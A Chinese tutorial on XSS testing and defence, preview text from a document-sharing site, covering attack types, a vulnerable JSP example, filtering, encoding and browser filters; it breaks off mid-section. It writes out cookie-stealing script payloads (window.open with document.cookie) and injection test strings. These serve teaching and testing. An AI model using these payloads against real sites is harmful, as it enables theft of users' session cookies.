WEB安全测试之XSS攻击_第1页
WEB安全测试之XSS攻击_第2页
WEB安全测试之XSS攻击_第3页
WEB安全测试之XSS攻击_第4页
WEB安全测试之XSS攻击_第5页
已阅读5页,还剩1页未读 继续免费阅读

下载本文档

版权说明:本文档由用户提供并上传,收益归属内容提供方,若内容存在侵权,请进行举报或认领

文档简介

1、目录结构1、背景知识2、XSS漏洞的分类3、XSS防御4、如何测试XSS漏洞5、HTML Encode6、浏览器中的XSS过滤器7、ASP.NET中的XSS安全机制  一、背景知识1、什么是XSS攻击?XSS攻击:跨站脚本攻击(Cross Site Scripting),为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆。故将跨站脚本攻击缩写为XSS。跨站脚本攻击,是Web程序中常见的漏洞,XSS属于被动式且用于客户端的 攻击方式,所以容易被忽略其危害性。其原理是攻击者在网页中嵌入恶意代码(例如JavaScript),当其它用户浏览该网站时

2、,这段代码会自动执行,从 而达到攻击的目的。比如这些代码包括HTML代码和客户端脚本。对于跨站脚本攻击,黑客界共识是:跨站脚本攻击是新型的"缓冲区溢出攻击",而 JavaScript是新型的"ShellCode"。XSS并不限于可见的页面输入,还有可能是隐藏表单域、get请求参数等。2、XSS攻击的危害:盗取用户 Cookie、破坏页面结构、导航到恶意网站、获取浏览器信息、携带木马等。 二、XSS漏洞的分类XSS漏洞按照攻击利用手法的不同,有以下三种类型:XSS攻击类似于SQL注 入攻击,攻击之前,我们先找到一个存在XSS漏洞的网站,XSS漏洞

3、分为两种,一种是DOM Based XSS漏洞,另一种是Stored XSS漏洞。理论上,所有可输入的地方没有对输入数据进行处理的话,都会存在XSS漏洞,漏洞的危害取决于攻击代码的威力,攻击代码也不局限于 script。 1、DOM Based XSS DOM Based XSS是一种基于网页DOM结构的攻击,该攻击特点是中招的人是少数人。场景一:当我登录后,我发现它的页面某些内容是根据url中的一个叫content参数直接显示的,猜测它测页面处理可能是这样,其它语言类似:<% page language="java"contentType="te

4、xt/html; charset=UTF-8"pageEncoding="UTF-8"%><!DOCTYPEhtmlPUBLIC "-/W3C/DTD HTML 4.01 Transitional/EN""/TR/html4/loose.dtd"><html><head><title>XSS测试</title></head><body>页面内容:<%=request.getParameter(&qu

5、ot;content")%></body></html>我知道了Tom也注册了该网站,并且知道了他的邮箱(或者其它能接收信息的联系方式),我做一个超链接发给他,超链接地址 为:?content=<script> window.open(“?param=”+document.cookie)</script>,当Tom点击这个链 接的时候(假设他已经登录),浏览器就会直接打开,并且把Tom在中的cookie信息发送到,是我 搭建的网站,当我的网站接收到该信息时,我就盗取了Tom在的cookie信息,cookie信息中可能存有登录密码,

6、攻击成功!这个过程中, 受害者只有Tom自己。那当我在浏览器输入?content=<script>alert(“xss”)</script& amp; gt;,浏览器展示页面内容的过程中,就会执行我的脚本,页面输出xss字样,这是攻击了我自己,那我如何攻击别人并且获利呢?2、Stored XSSStored XSS是存储式XSS漏洞,由于其攻击代码已经存储到服务器上或者数据库中,比如发布一篇文章包含恶意代码,其他用户浏览时将执行恶意脚本,所以受害者是很多人。场景二:可以发文章, 我登录后在中发布了一篇文章,文章中包含了恶意代 码,<script>windo

7、w.open(“?param=”+document.cookie)< /script>,保存文章。这时Tom和Jack看到了我发布的文章,当在查看我的文章时就都中招了,他们的cookie信息都发送到了我的服务 器上,攻击成功!这个过程中,受害者是多个人。Stored XSS漏洞危害性更大,危害面更广。 3、攻击事例2011年新浪微博的XSS攻击就是存储式XSS漏洞攻击,主要是通过未过滤处理的URL中的参数来加载攻击者已写好的脚本,并且使用短链服务 将URL伪装,然后通过诱人的话题欺骗用户访问该链接后在浏览器运行,达到攻击的目的。如将http:/163.fm/PxZHoxn

8、指向  三、XSS防御 我们是在一个矛盾的世界中,有矛就有盾。只要我们的代码中不存在漏洞,攻击者就无从下手,我们要做一个没有缝的蛋。 XSS 漏洞修复原则:不相信客户输入的数据注意:  攻击代码不一定在<script></script>中将重要的cookie标记为http only,   这样的话Javascript 中的document.cookie语句就不能获取到cookie了.     需要对用户的输入进行处理,只允许用户输入我们期望的数据,其它值一概过滤掉。例如:年龄的textbox

9、中,只允许用户输入数字。 而数字之外的字符都过滤掉。对数据进行Html Encode 处理过滤或移除特殊的Html标签, 例如: <script>, <iframe> ,  &lt; for <, &gt; for >, &quot for过滤JavaScript 事件的标签。例如 "onclick=", "onfocus" 等等。 XSS具体的防御有如下方式:1. 输入校验对 用户的所有输入数据进行检测,比如过滤其中的“<”、“>”、“/”、双引号等可能导致脚本

10、注入的特殊字符,或者过滤“script”、 “javascript”等脚本关键字,或者对输入数据的长度及格式进行限制等等。同时,我们也要考虑用户可能绕开ASCII码,使用十六进制编码如 “<</span>”(“<”)、“>”(“>”)等来输入脚本。因此,对用户输入的十六进制编码,我们也要进行相 应的过滤。只要开发人员能够严格检测每一处交互点,保证对所有用户可能的输入都进行检测和XSS过滤,就能够有效地阻止XSS攻击。2. 输出编码 通过前面对XSS攻击的分析,我们可以看到,之所以会产生XSS攻击,就是因为Web应用程序将用户的输入直接嵌入到某个页面当中,作为

11、该页面的 HTML代 码的一部分。因此,当Web应用程序将用户的输入数据输出到目标页面中时,只要先对这些数据进行编码,然后再输出到目标页面中。这样,如果用户输入一些 HTML的脚本,也会被当成普通的文字,而不会成为目标页面HTML代码的一部分得到执行。3. 严防外部的Javascript外部的Javascript一旦引入了,这些脚本就能够操纵你的HTML页面,窃取敏感信息或者发起钓鱼攻击等等。 四、如何测试XSS漏洞 方法一:  查看代码,查找关键的变量,   客户端将数据传送给Web 服务端一般通过三种方式 Querystring, Form表单,以及cooki

12、e.  例如在ASP的程序中,通过Request对象获取客户端的变量<%strUserCode = Request.QueryString(“code”);strUser = Request.Form(“USER”);strID = Request.Cookies(“ID”);%>假如变量没有经过htmlEncode处理, 那么这个变量就存在一个XSS漏洞 方法二:准备测试脚本"/><script>alert(document.cookie)</script><!-<script>alert(docume

13、nt.cookie)</script><!-"onclick="alert(document.cookie)在网页中的Textbox或者其他能输入数据的地方,输入这些测试脚本, 看能不能弹出对话框,能弹出的话说明存在XSS漏洞在URL中查看有那些变量通过URL把值传给Web服务器, 把这些变量的值退换成我们的测试的脚本。  然后看我们的脚本是否能执行 方法三:  自动化测试XSS漏洞现在已经有很多XSS扫描工具了。 实现XSS自动化测试非常简单,只需要用HttpWebRequest类。 把包含xss 测试脚本。发送给Web服务

14、器。 然后查看HttpWebResponse中,我们的XSS测试脚本是否已经注入进去了。 五、HTML EncodeXSS之所以会发生, 是因为用户输入的数据变成了代码。 所以我们需要对用户输入的数据进行HTML Encode处理。 将其中的"中括号", “单引号”,“引号” 之类的特殊字符进行编码。在C#中已经提供了现成的方法,只要调用HttpUtility.HtmlEncode("string <scritp>") 就可以了。  (需要引用System.Web程序集) Fiddler中也提供了很方便的工具, 点击Toolbar上的"TextWizard" 按钮 六、浏览器中的XSS过滤器为了防止发生XSS, 很多浏览器厂商都在浏览器中加入安全机制来过滤XSS。 例如IE8,IE9,Firefox, Chrome. 都有针对XSS的安全机制。 浏览器会阻止XSS。 如果需要做测试, 最好使用IE7。 Chrome可以过滤反射型XSS,原因是webkit的一个模块,而非chrome,所以Safari和360安全浏览器极速模式等webkit内核的浏览器都有XSS过滤功能. 七、ASP.NET中的XSS安

温馨提示

  • 1. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
  • 2. 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
  • 3. 本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
  • 4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
  • 5. 人人文库网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
  • 6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
  • 7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。

最新文档

评论

0/150

提交评论